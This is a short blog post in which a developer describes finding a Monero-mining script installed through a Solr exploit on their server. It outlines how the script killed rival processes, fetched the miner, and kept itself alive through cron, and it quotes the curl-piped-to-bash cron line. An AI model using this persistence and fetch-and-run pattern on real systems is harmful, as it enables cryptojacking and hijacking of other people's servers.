The time I was hacked by Mr. Sh

May 30, 2019 · 2 min read

In 2017, I zero-to-one’d a YouTube search site that helps users navigate channels with really long videos using an index on caption data.

The search used Solr-6.6.0 to store and retrieve the indices on the caption data. I knew that Solr used a lot of RAM, but I didn’t expect it to start consuming 15% of my server’s CPU after just a few days of launching my site.

While unexpected, 15% CPU consumption did not set off any red flags. If I were paying closer attention however, the sudden spike in usage should have notified me of a problem. I stopped paying attention for a few months until I started getting emails about 100% usage.

Unbeknownst to me, someone used an exploit in Solr-6.6.0 to run an sh script on my server that mines Monero and for some reason they decided to increase their hash power from an unnoticeable 15% CPU to a crippling 100%.

Here is an overview of how the script worked:

  1. Kill9 all processes that consume >40% CPU
  2. Kill9 any prexisting malware (caused by running this script earlier)
  3. Download the monero miner to /tmp and run it
  4. Make a crontab to redownload and rerun this sh script every minute.

The script was called Mr.Sh and it was infuriating to watch in htop. Every time I tried to kill the mining process, it would just re spawn a minute later. The only lead I had to go off of was the flurry of procs that spun up directly before my CPU went back to being a space heater.

I ended up making a screenshot time lapse of htop throughout the cycle and I then frame by frame analyzed it until I saw the curl process that downloaded

I curled in myself and finally found how it kept evading my eradication efforts: crontab . All I had to do after that was use crontab -e to edit the crontab file and delete the curl call from it. Here is what the cron looked like.

* * * * curl | bash -sh > /dev/null 2>&1

Anyway, that is the story of the first malware I’ve ever found on a linux server.

The Startup

Get smarter at building your thing. Join The Startup’s +724K followers.

Medium is an open platform where 170 million readers come to find insightful and dynamic thinking. Here, expert and undiscovered voices alike dive into the heart of any topic and bring new ideas to the surface. Learn more

Follow the writers, publications, and topics that matter to you, and you’ll see them on your homepage and in your inbox. Explore

If you have a story to tell, knowledge to share, or a perspective to offer — welcome home. It’s easy and free to post your thinking on any topic. Write on Medium

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store